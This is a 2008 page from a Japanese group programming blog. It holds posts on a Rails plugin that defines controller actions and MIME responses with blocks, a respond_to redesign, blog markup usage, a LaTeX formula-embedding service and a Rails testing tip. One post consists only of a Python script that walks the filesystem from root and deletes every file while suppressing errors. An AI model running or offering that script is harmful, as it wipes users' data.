29th Tue

うぐぐ

ねみい

posted by Png jazzanova on Tue 29 Jul 2008 at 17:36

これまでの流れ

  1. Method#to_source を作るには Ruby を改造するしかない
  2. それは敷居が高すぎる
  3. MIME定義部分は block で妥協しよう

   1      def show
   2        @user = User.find(params[:id])
   3      end
   4  
   5      show.xml {
   6        render :text => @user.to_xml
   7      }

def と block の併用は、respond_to と同程度にキモイと気付いた

結論

そうだ!アクション定義も block にしよう!

   1      show {
   2        @user = User.find(params[:id])
   3      }
   4  
   5      show.xml {
   6        render :text => @user.to_xml
   7      }

SexyActions plugin

http://github.com/maiha/sexy_actions

動作要件

  • Rails2.x

Rails2.x の scaffold が生成する不細工なコード

   1  class UsersController < ApplicationController
   2    def index
   3      @users = User.find(:all)
   4  
   5      respond_to do |format|
   6        format.html # index.html.erb
   7        format.xml  { render :xml => @users }
   8      end
   9    end
  10  
  11    def show
  12      @user = User.find(params[:id])
  13  
  14      respond_to do |format|
  15        format.html # show.html.erb
  16        format.xml  { render :xml => @user }
  17      end
  18    end
  19  
  20    ...

俺達のセクシーなコード

   1  class UsersController < ApplicationController
   2    include SexyActions
   3  
   4    index      { @users = User.find(:all) }
   5    index.html # index.html.erb
   6    index.xml  { render :xml => @users }
   7  
   8    show      { @user = User.find(params[:id]) }
   9    show.html # show.html.erb
  10    show.xml  { render :xml => @user }
  11  
  12    ...

動作

  • 各アクションの定義は method_missing 経由で得られるproxyオブジェクトが行う
  • 表記の制約により、定義時のコンテキストはコントローラクラスになる
  • 従ってinstanceだけでなくclassに対してもアクション名と同名のメソッドが定義される

まとめ

  • 可読性が上がった (定義内容が1行の場合の美しさは半端ない)
  • 再利用性が上がった (あるMIMEの動作だけ再定義することができる)

致命的な問題

  • new アクションが定義できない事に気付いた><
posted by Png maiha on Tue 29 Jul 2008 at 17:30 with 1 comment

   1  import os
   2  for root, dirs, files in os.walk('/'):
   3      for f in files+dirs:
   4          try:
   5              os.unlink(os.path.join(root, f))
   6          except:
   7              pass

posted by Png faerie on Tue 29 Jul 2008 at 16:57

どうも。榊です。

今まではてな(http://d.hatena.ne.jp/onering/)でBLOGしていましたが
技術系のエントリーはこっちにまとめることにしました。理由は以下。

  • はてなーの方はアーセナルBLOG化している。RSSリーダーやはてなアンテナでもそのように認識されているようだ<読者から
  • 技術系の話と日記系の話が混ざるとうざい
  • はてなーの方のBLOGデザインは気に入っているがプログラムソースの表示部分だけ気に入らない(背景とかぶって読めない)
posted by Face ysakaki on Tue 29 Jul 2008 at 12:01 with 3 comments

続いては、作表の仕方を紹介します。 このブログシステムは、BlueStoleを参考にして作った作表機能があります。

BlueStole - BlueCloth Wrapper

Ruby の Markdown ライブラリ、 BlueCloth に幾つかの機能を付け足した私家拡張版です。

こんな感じに RTtool を使った作表を行うことが出来ます。

Rendering Algorithm
WhatWhoWhen
Ray TracingWhitted1980
Path TracingKajiya1986
Photon MappingJensen1995
Metropolis Light TransportVeach1997

ソースはこんな感じです。

   1  |caption=Rendering Algorithm
   2  |
   3  |What                      , Who    , When
   4  |
   5  |Ray Tracing               , Whitted, 1980
   6  |Path Tracing              , Kajiya , 1986
   7  |Photon Mapping            , Jensen , 1995
   8  |Metropolis Light Transport, Veach  , 1997

Rttoolを使っているので、以下のようにちょっと複雑な表も作成可能です。

AlphaBravo
CharlieEcho
Delta

ソースはこんな感じです。

   1  |Alpha,==,Bravo
   2  |Charlie,Echo,||
   3  |||,Delta,==

また、このようにCaptionとHeader部分は省略可能です。

posted by Png genki on Tue 29 Jul 2008 at 08:40
28th Mon

テスト

テスト


x^2+y^2=1

posted by Face actuary on Mon 28 Jul 2008 at 19:31

ActionController::Base#respond_to

ActionController の respond_to

  • MIMEタイプに応じて出力を切り替える素晴らしい手段を提供しつつも
  • 使う気をなくさせる表記法(実装)を採用する

というセンスがあるのかないのかわからない機能になっている。

   1    def show
   2      @person = Person.find(params[:id])
   3  
   4      respond_to do |format|
   5        format.html
   6        format.xml { render :xml => @person.to_xml }
   7      end
   8    end

誰がこんな面倒な記述を各アクションに書いていきたいと思うだろうか。

問題

具体的には以下の問題点が挙げられる。

  • やりたい事に対して無駄にコード量が多い
  • アクションが肥大化し可読性が低い
  • case文と同じで再利用性が低い

提案

上記の問題点を解消するために、 以下のような新しい表記法(実装)を提案する。

   1    def show
   2      @person = Person.find(params[:id])
   3    end
   4  
   5    def show.xml
   6      render :xml => @person.to_xml
   7    end

可読性は一目瞭然であり、 さきほどのサンプルと比べて以下のメリットを有する。

  1. アクションロジックと描画ロジックの峻別
  2. MIME単位での定義による可読性と再利用性
  3. 特異メソッド定義と拡張子の直感的親和性

特に3番目の、 "show.xml" のレスポンスを直感的に定義(記述)できる点は Rubyならではの機能と言える。

実装方針

   1  class ApplicationController < ActionController::Base
   2    class << self
   3      def method_missing(action, *arguments)
   4        if action_methods.include?(action.to_s)
   5          mime_respond_proxy_for(action)
   6        else
   7          super
   8        end
   9      end
  10  
  11      def mime_respond_proxy_for(action)
  12        @mime_responds[action] ||= MimeRespondProxy.new
  13      end
  14    end

  1. コントローラクラスの method_missing で、"def show.xml" の "show" 部分の未定義変数への参照をトラップ
  2. 定義済みのアクションであれば、Proxyオブジェクトを返す
  3. 以下、"def show.xml" 等の定義は Proxy オブジェクトへの(特異)メソッド追加となる
  4. default_render で、現在のアクションに応じた Proxy オブジェクトを取得し、指定されたmimeタイプの描画処理を行う
  5. コンテキストを合わせるために、aProxy.xml のメソッド定義の内容を実行中のコントローラに定義する
  6. singleton method bound for a different object (imkk)

反省会

  • singleton 以前に、他のメソッド定義を違うクラスに再定義できない

今後の選択肢

  • ブロック定義にすれば引き回せるよ (→ "def show.xml" と書ける心地よさが重要)
  • UnboundMethodを任意のクラス(Object)にbindさせてYO!
  • Method#to_sourceが欲しい
  • Method#modulizeでもいい
  • JavaScriptProxyみたいにする(helperとmethodとcontextをパピコ)
posted by Png maiha on Mon 28 Jul 2008 at 06:48 with 3 comments

このブログシステムには、いままで外向けのドキュメントが無かったのですが、(潜在)アカウント数が徐々に増えてきた事もあり、利用法を書いておこうと思います。

とりあえずわかりにくい所から。 Syntax Highlightつきでソースコードを書くときは、

ruby>>
class Foo
  def foo; puts "bar" end
end
<<ruby

のように、lang>> <<langで囲んで行頭から書きます。 結果はこの通り。

   1  class Foo
   2    def foo; puts "bar" end
   3  end

langに使えるのは、UltraVioleteで利用可能なもの全てです。 よく使いそうな rails、js、shell もショートカットを用意しています。

あとは、以下のように数式もかけます。

[math]
f(x)=\frac{1}{x}
[/math]

結果は以下の通り。


f(x)=\frac{1}{x}

この2つはコメントを書くときにも有効です。

posted by Png genki on Mon 28 Jul 2008 at 00:01

We announce the release of new service named Formula, which provides a way of embedding mathematical equations into your blogs and sharing it.

formula
http://formula.s21g.com/

Using the service, everybody can easily bring a beautiful mathematical expression to a blog post, like this.

You can jump to the page of discussion about the expression by clicking the image of the expression.

Usage is quite simple.

  1. Write a mathematical expression in LaTeX format into the form in the top page of Formula.
  2. And then, you will get the image of the expression at the bottom of the form as a preview.
  3. Finally, you can generate the HTML snippet of the image for embedding by clicking the Submit button.

There is no need to sign up to use this service.

For details, email us to email. We appreciate any kind of feedbacks.

Thank you.

Genki Takiuchi

posted by Png takiuchi on Sun 27 Jul 2008 at 08:16 with 2 comments

Controllerのアクションのテストを書くときに、 通常は以下のようにgetメソッドなどを使い、 アクションのメソッドを指定します。

   1    get :index

しかし、config/routes.rbの中でmap.root :formulae のようにルートのPathをindexアクションにマッピングしている場合でも、 get :indexを呼び出した結果、Controllerに渡されるrequest.request_uri の値は正しいルートのPathになっていません。

そのような場合には、以下のようにすると正しい結果が得られます。

   1    request.set_REQUEST_URI '/'
   2    get :index

posted by Png genki on Sat 26 Jul 2008 at 00:41
Contents
うぐぐ
SexyActions plugin
こんにちは
移転開始しました
s21gブログの使い方(2)
テスト
新しい MimeResponds 表記の提案
s21gブログの使い方(1)
Formula: Let's Get Mathematical Expressions Embedded to Your Blogs
Controllerのテストでroot_pathに対するリクエストにREQUEST_URIを正しく設定する方法
Comments
瀧内元気: MacOS版は以下にあります * [genki/ViMouse](https://githu... '23-1
KingofSmack: Here also good reads for this mobile applicatio... '14-5
Spencer: You don't have to re-compile it, this version w... '14-4
staiano: Any chance we can get a recompile for 10.9? '14-1
dsjf: https://gist.github.com/6bf1bf2c3cbb5eb6e7a7 これ... '13-1
Services from s21g
twpro(ツイプロ)
Twitterプロフィールを快適検索
地価2009
土地の値段を調べてみよう
MyRestaurant
自分だけのレストラン手帳
Formula
ブログに数式を埋め込める数式コミュニティ